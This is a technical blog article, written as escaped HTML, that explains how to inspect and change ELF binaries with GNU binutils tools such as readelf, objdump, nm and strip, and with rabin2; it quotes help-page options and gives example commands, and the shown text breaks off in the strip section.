&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;GNU_Binary_Utilities&quot;&gt;GNU Binary Utilities&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;elfutils&#x2F;&quot;&gt;elfutils&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;eliben&#x2F;pyelftools&quot;&gt;pyelftools&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;savannah-checkouts&#x2F;gnu&#x2F;hurd&#x2F;binutils.html&quot;&gt;GNU Hurd&lt;&#x2F;a&gt; &#x2F; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;binutils&#x2F;&quot;&gt;GNU Binutils&lt;&#x2F;a&gt; - @&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;&quot;&gt;sourceware&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;&quot;&gt;Documentation&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;readelf.1.html&quot;&gt;readelf&lt;&#x2F;a&gt; - display information about ELF files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;objdump.1.html&quot;&gt;objdump&lt;&#x2F;a&gt; - display information from object files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;strings.1.html&quot;&gt;strings&lt;&#x2F;a&gt; - print the sequences of printable characters in files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;nm.1.html&quot;&gt;nm&lt;&#x2F;a&gt; - list symbols from object files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;size.1.html&quot;&gt;size&lt;&#x2F;a&gt; - list section sizes and total size of binary files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;strip.1.html&quot;&gt;strip&lt;&#x2F;a&gt; - discard symbols and other data from object files&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;objcopy.1.html&quot;&gt;objcopy&lt;&#x2F;a&gt; - copy and translate object files&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This article focuses on using GNU binutils to view and manipulate ELF files.&lt;&#x2F;p&gt;
&lt;p&gt;One way to view the architecture that an ELF binary is compiled to is via the &lt;code&gt;file&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;readelf&lt;&#x2F;code&gt; command can display useful information about files in the ELF file format. It provides options to display ELF file header, program headers and section headers.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  -h --file-header       Display the ELF file header
  -l --program-headers   Display the program headers
     --segments          An alias for --program-headers
  -S --section-headers   Display the sections&amp;#x27; header
     --sections          An alias for --section-headers
  -t --section-details   Display the section details. Implies -S.
  -e --headers           Equivalent to: -h -l -S

  -W --wide              Allow output width to exceed 80 characters
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Meanwhile, &lt;code&gt;objdump&lt;&#x2F;code&gt; also provides equivalent options for displaying ELF header information.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help

  -a, --archive-headers    Display archive header information
  -f, --file-headers       Display the contents of the overall file header
  -h, --[section-]headers  Display the contents of the section headers
  -x, --all-headers        Display the contents of all headers

  -w, --wide                     Format output for more than 80 columns
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -lW a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using &lt;code&gt;rabin2&lt;&#x2F;code&gt; to view segments and section2segment mapping separately:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ rabin2 -h

 -SS             segments
 -SSS            sections mapping to segments
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -SW a.out
$ objdump -hw a.out
$ rabin2 -S a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sections&quot;&gt;sections&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#sections&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Apart from &lt;code&gt;readelf -S&lt;&#x2F;code&gt; and &lt;code&gt;objdump -h&lt;&#x2F;code&gt;, we can use &lt;code&gt;size -Ax $ELF&lt;&#x2F;code&gt; to display a brief section size summary.&lt;&#x2F;p&gt;
&lt;p&gt;section Type &amp;amp; Flags&lt;&#x2F;p&gt;
&lt;p&gt;Refer to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;Section.html&quot;&gt;Section (Using as)&lt;&#x2F;a&gt; for a knowledge of optional &lt;code&gt;Type&lt;&#x2F;code&gt; and &lt;code&gt;Flags&lt;&#x2F;code&gt; of ELF Version against the output of &lt;code&gt;readelf -S&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Key to Flags&lt;&#x2F;strong&gt;: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), D (mbind), p (processor specific)&lt;&#x2F;p&gt;
&lt;p&gt;Pass &lt;code&gt;-p&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;-x&lt;&#x2F;code&gt; option to &lt;code&gt;readelf&lt;&#x2F;code&gt; can dump contents of specified section as strings&#x2F;bytes.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;e.g. &lt;code&gt;readelf -x .text&lt;&#x2F;code&gt; or &lt;code&gt;readelf -p .rodata&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  -x --hex-dump=&amp;lt;number|name&amp;gt;
                         Dump the contents of section &amp;lt;number|name&amp;gt; as bytes
  -p --string-dump=&amp;lt;number|name&amp;gt;
                         Dump the contents of section &amp;lt;number|name&amp;gt; as strings

  -V --version-info      Display the version sections (if present)
  -A --arch-specific     Display architecture specific information (if any)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;For example, use &lt;code&gt;readelf -p&lt;&#x2F;code&gt; to dump string of sections:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -p .comment test-gdb
$ readelf -p .interp test-gdb
$ readelf -p .strtab test-gdb
$ readelf -p .shstrtab test-gdb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Equivalently, use &lt;code&gt;objdump -j $section -s&lt;&#x2F;code&gt; or &lt;code&gt;objdump --seciont=$section&lt;&#x2F;code&gt; to display information for specified section.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help
  -j, --section=NAME       Only display information for section NAME

  -s, --full-contents      Display the full contents of all sections requested

  --adjust-vma=OFFSET      Add OFFSET to all displayed section addresses
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Use &lt;code&gt;objdump -j&lt;&#x2F;code&gt; to display the contents of specified sections:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump -j .comment -s test-gdb
$ objdump -j .interp -s test-gdb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;symbols&quot;&gt;symbols&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#symbols&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;syms&quot;&gt;syms&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#syms&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Type &lt;code&gt;readelf -s&lt;&#x2F;code&gt; to display the symbol table.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  -s --syms              Display the symbol table
     --symbols           An alias for --syms
     --dyn-syms          Display the dynamic symbol table
     --lto-syms          Display LTO symbol tables
     --sym-base=[0|8|10|16]
                         Force base for symbol sizes.  The options are
                         mixed (the default), octal, decimal, hexadecimal.

  -D --use-dynamic       Use the dynamic section info when displaying symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;read -s Type &amp;amp; Bind&lt;&#x2F;p&gt;
&lt;p&gt;Refer to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;as&#x2F;Type.html&quot;&gt;Type (Using as)&lt;&#x2F;a&gt; for a knowledge of the &lt;em&gt;Type&lt;&#x2F;em&gt; column, such as &lt;code&gt;STT_FUNC&lt;&#x2F;code&gt;,&lt;code&gt;STT_OBJECT&lt;&#x2F;code&gt;,&lt;code&gt;STT_NOTYPE&lt;&#x2F;code&gt;,etc.
Refer to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;objdump.1.html&quot;&gt;objdump&lt;&#x2F;a&gt; for a knowledge of the &lt;em&gt;Bind&lt;&#x2F;em&gt; column, such as &lt;code&gt;l&lt;&#x2F;code&gt;(&lt;code&gt;LOCAL&lt;&#x2F;code&gt;),&lt;code&gt;g&lt;&#x2F;code&gt;(&lt;code&gt;GLOBAL&lt;&#x2F;code&gt;),&lt;code&gt;w&lt;&#x2F;code&gt;(&lt;code&gt;WEAK&lt;&#x2F;code&gt;),etc.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;readelf -sD&lt;&#x2F;code&gt; almost equivalent to &lt;code&gt;readelf --dyn-syms&lt;&#x2F;code&gt;, but it uses the symbol hash tables in the file&#x27;s dynamic section, rather than the symbol table sections.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The equivalent option for &lt;code&gt;objdump&lt;&#x2F;code&gt; is &lt;code&gt;-t&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help

  -t, --syms               Display the contents of the symbol table(s)
  -T, --dynamic-syms       Display the contents of the dynamic symbol table
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;objdump -t flags&lt;&#x2F;p&gt;
&lt;p&gt;Refer to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;objdump.1.html&quot;&gt;objdump&lt;&#x2F;a&gt; for a knowledge of the flag characters, such as &lt;code&gt;l&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;g&lt;&#x2F;code&gt;,&lt;code&gt;I&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;i&lt;&#x2F;code&gt;,&lt;code&gt;d&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;D&lt;&#x2F;code&gt;,&lt;code&gt;F&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;f&lt;&#x2F;code&gt;,etc.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;nm&quot;&gt;nm&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#nm&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;List symbols in file(s) (a.out by default).&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ nm --help

  -D, --dynamic          Display dynamic symbols instead of normal symbols
      --defined-only     Display only defined symbols

  -g, --extern-only      Display only external symbols
    --ifunc-chars=CHARS  Characters to use when displaying ifunc symbols

  -l, --line-numbers     Use debugging information to find a filename and
                           line number for each symbol
  -n, --numeric-sort     Sort symbols numerically by address

  -r, --reverse-sort     Reverse the sense of the sort

  -S, --print-size       Print size of defined symbols

  -s, --print-armap      Include index for symbols from archive members
      --quiet            Suppress &amp;quot;no symbols&amp;quot; diagnostic
      --size-sort        Sort symbols by size
      --special-syms     Include special symbols in the output
      --synthetic        Display synthetic symbols as well

  -u, --undefined-only   Display only undefined symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;nm symbol type&lt;&#x2F;p&gt;
&lt;p&gt;Refer to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;nm.1.html&quot;&gt;nm&lt;&#x2F;a&gt; for a knowledge of the symbol type, such as &lt;code&gt;T&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;t&lt;&#x2F;code&gt;,&lt;code&gt;D&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;d&lt;&#x2F;code&gt;,&lt;code&gt;B&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;b&lt;&#x2F;code&gt;,&lt;code&gt;U&lt;&#x2F;code&gt;, etc.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;demos&quot;&gt;demos&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#demos&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Display the symbol table:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -s a.out
$ objdump -t a.out
$ rabin2 -s a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Display the dynamic symbol table:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Display the contents of the dynamic symbol table
objdump -T a.out
# Display the dynamic symbol table
readelf --dyn-syms a.out
# Display dynamic symbols instead of normal symbols
nm -D a.out
# find imported objects by an executable, as well as their offsets in its PLT.
rabin2 -i a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;reloc&quot;&gt;reloc&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#reloc&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;readelf [-r|--dynamic]&lt;&#x2F;code&gt;: Displays the contents of the file&#x27;s dynamic section, if it has one.
&lt;code&gt;readelf [-d|--relocs]&lt;&#x2F;code&gt;: Displays the contents of the file&#x27;s relocation section, if it has one.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  -R --relocated-dump=&amp;lt;number|name&amp;gt;
                         Dump the relocated contents of section &amp;lt;number|name&amp;gt;

  -n --notes             Display the core notes (if present)
  -r --relocs            Display the relocations (if present)
  -u --unwind            Display the unwind info (if present)
  -d --dynamic           Display the dynamic section (if present)

  -D --use-dynamic       Use the dynamic section info when displaying symbols
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;readelf -rD&lt;&#x2F;code&gt;: display the dynamic relocations rather than the static relocations.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;code&gt;objdump [-r|--reloc]&lt;&#x2F;code&gt;: Print the relocation entries of the file.  If used with &lt;code&gt;-d&lt;&#x2F;code&gt; or &lt;code&gt;-D&lt;&#x2F;code&gt;, the relocations are printed interspersed with the disassembly.
&lt;code&gt;objdump [-R|--dynamic-reloc]&lt;&#x2F;code&gt;: Print the dynamic relocation entries of the file. This is only meaningful for dynamic objects, such as certain types of shared libraries.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help
  -r, --reloc              Display the relocation entries in the file
  -R, --dynamic-reloc      Display the dynamic relocation entries in the file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Frequently used commands for dynamic-reloc:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Dump the relocated contents of section .text
$ readelf -R .text a.out
# Display the dynamic section (if present)
$ readelf -d a.out
# Display the relocations (if present)
$ readelf -r a.out
# Display the dynamic relocation entries in the file
$ objdump -R a.out
# interspersed with the disassembly
$ objdump -Rd a.out
# display relocations
$ rabin2 -R a.out
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;dwarf&quot;&gt;DWARF&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#dwarf&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dwarfstd.org&#x2F;doc&#x2F;Debugging%20using%20DWARF-2012.pdf&quot;&gt;DWARF Introduction&lt;&#x2F;a&gt;: Debugging Information Entry (&lt;code&gt;DIE&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;refer to related post: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230618&#x2F;dwarf-debugging&#x2F;&quot;&gt;DWARF Debugging Format&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  -w --debug-dump[a&amp;#x2F;=abbrev, A&amp;#x2F;=addr, r&amp;#x2F;=aranges, c&amp;#x2F;=cu_index, L&amp;#x2F;=decodedline,
                  f&amp;#x2F;=frames, F&amp;#x2F;=frames-interp, g&amp;#x2F;=gdb_index, i&amp;#x2F;=info, o&amp;#x2F;=loc,
                  m&amp;#x2F;=macro, p&amp;#x2F;=pubnames, t&amp;#x2F;=pubtypes, R&amp;#x2F;=Ranges, l&amp;#x2F;=rawline,
                  s&amp;#x2F;=str, O&amp;#x2F;=str-offsets, u&amp;#x2F;=trace_abbrev, T&amp;#x2F;=trace_aranges,
                  U&amp;#x2F;=trace_info]

  --dwarf-depth=N        Do not display DIEs at depth N or greater
  --dwarf-start=N        Display DIEs starting at offset N
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;readelf -w&lt;&#x2F;code&gt; is almost equivalent to &lt;code&gt;objdump -W&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help

  -g, --debugging          Display debug information in object file
  -e, --debugging-tags     Display debug information using ctags style
  -G, --stabs              Display (in raw form) any STABS info in the file
  -W, --dwarf[a&amp;#x2F;=abbrev, A&amp;#x2F;=addr, r&amp;#x2F;=aranges, c&amp;#x2F;=cu_index, L&amp;#x2F;=decodedline,
              f&amp;#x2F;=frames, F&amp;#x2F;=frames-interp, g&amp;#x2F;=gdb_index, i&amp;#x2F;=info, o&amp;#x2F;=loc,
              m&amp;#x2F;=macro, p&amp;#x2F;=pubnames, t&amp;#x2F;=pubtypes, R&amp;#x2F;=Ranges, l&amp;#x2F;=rawline,
              s&amp;#x2F;=str, O&amp;#x2F;=str-offsets, u&amp;#x2F;=trace_abbrev, T&amp;#x2F;=trace_aranges,
              U&amp;#x2F;=trace_info]
                           Display the contents of DWARF debug sections
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Both &lt;code&gt;readelf&lt;&#x2F;code&gt; and &lt;code&gt;objdump&lt;&#x2F;code&gt; support &lt;code&gt;--dwarf-depth&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;--dwarf-start&lt;&#x2F;code&gt; options.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ man objdump

       --dwarf-depth=n
           Limit the dump of the &amp;quot;.debug_info&amp;quot; section to n children.
           This is only useful with --debug-dump=info.  The default is
           to print all DIEs; the special value 0 for n will also have
           this effect.

           With a non-zero value for n, DIEs at or deeper than n levels
           will not be printed.  The range for n is zero-based.

       --dwarf-start=n
           Print only DIEs beginning with the DIE numbered n.  This is
           only useful with --debug-dump=info.

           If specified, this option will suppress printing of any
           header information and all DIEs before the DIE numbered n.
           Only siblings and children of the specified DIE will be
           printed.

           This can be used in conjunction with --dwarf-depth.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;book.rada.re&#x2F;tools&#x2F;rabin2&#x2F;intro.html&quot;&gt;rabin2 -d&lt;&#x2F;a&gt;: show debug&#x2F;dwarf information&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ctf&quot;&gt;CTF&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#ctf&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;ctf-spec.html&quot;&gt;The CTF File Format&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.omnios.org&#x2F;man5&#x2F;ctf&quot;&gt;Compact C Type Format&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;CTF&lt;&#x2F;code&gt; file format compactly describes C types and the association between function and data symbols and types: if embedded in ELF objects, it can exploit the ELF string table to reduce duplication further.&lt;&#x2F;p&gt;
&lt;p&gt;There are two major pieces to CTF: the &lt;em&gt;archive&lt;&#x2F;em&gt; and the &lt;em&gt;dictionary&lt;&#x2F;em&gt;. Some relatives and ancestors of CTF call dictionaries &lt;em&gt;containers&lt;&#x2F;em&gt;: the archive format is unique to this variant of CTF. (Much of the source code still uses the old term.)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;binutils&#x2F;&quot;&gt;Binutils&lt;&#x2F;a&gt;@&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;&quot;&gt;sourceware&lt;&#x2F;a&gt;: libctf - A library for manipulating the CTF debug format.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;focal&#x2F;en&#x2F;man1&#x2F;ctfdump.1.html&quot;&gt;Ubuntu Manpage: ctfdump — dump the SUNW_ctf section of an ELF file&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf --help

  --ctf=&amp;lt;number|name&amp;gt;    Display CTF info from section &amp;lt;number|name&amp;gt;
  --ctf-parent=&amp;lt;name&amp;gt;    Use CTF archive member &amp;lt;name&amp;gt; as the CTF parent
  --ctf-symbols=&amp;lt;number|name&amp;gt;
                         Use section &amp;lt;number|name&amp;gt; as the CTF external symtab
  --ctf-strings=&amp;lt;number|name&amp;gt;
                         Use section &amp;lt;number|name&amp;gt; as the CTF external strtab
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;&#x2F;code&gt; provide equivalent options as &lt;code&gt;readelf&lt;&#x2F;code&gt; in dumping CTF info.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump --help

  -L, --process-links      Display the contents of non-debug sections in
                            separate debuginfo files.  (Implies -WK)
      --ctf[=SECTION]      Display CTF info from SECTION, (default `.ctf&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;$ man objdump

       --ctf[=section]
           Display the contents of the specified CTF section.  CTF
           sections themselves contain many subsections, all of which
           are displayed in order.

           By default, display the name of the section named .ctf, which
           is the name emitted by ld.

       --ctf-parent=member
           If the CTF section contains ambiguously-defined types, it
           will consist of an archive of many CTF dictionaries, all
           inheriting from one dictionary containing unambiguous types.
           This member is by default named .ctf, like the section
           containing it, but it is possible to change this name using
           the &amp;quot;ctf_link_set_memb_name_changer&amp;quot; function at link time.
           When looking at CTF archives that have been created by a
           linker that uses the name changer to rename the parent
           archive member, --ctf-parent can be used to specify the name
           used for the parent.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;manipulate&quot;&gt;manipulate&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#manipulate&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;31453859&#x2F;how-to-remove-a-specific-elf-section-without-stripping-other-symbols&quot;&gt;gcc - How to remove a specific ELF section, without stripping other symbols? - Stack Overflow&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;Computer-Systems-OHallaron-Randal-Bryant&#x2F;dp&#x2F;1292101768&#x2F;&quot;&gt;Computer Systems - A Programmer&#x27;s Perspective&lt;&#x2F;a&gt; | Chapter 7: Linking - 7.14: Tools for Manipulating Object Files&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ man objdump

       --adjust-vma=offset
           When dumping information, first add offset to all the section
           addresses.  This is useful if the section addresses do not
           correspond to the symbol table, which can happen when putting
           sections at particular addresses when using a format which
           can not represent section addresses, such as a.out.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;strip&quot;&gt;strip&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permanent link&quot; href=&quot;https:&#x2F;&#x2F;duetorun.com&#x2F;blog&#x2F;20230620&#x2F;gnu-binutils&#x2F;#strip&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In embedded systems, resources are often limited. Sometimes in order to reduce the space occupied by program files (such as FLASH), we can remove debugging information from the program. The most commonly used tool is to use the &lt;code&gt;strip&lt;&#x2F;code&gt; tool to achieve this purpose. However, the same purpose can be achieved using &lt;code&gt;objcopy --strip-debug&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ strip --help

  -R --remove-section=&amp;lt;name&amp;gt;       Also remove section &amp;lt;name&amp;gt; from the output
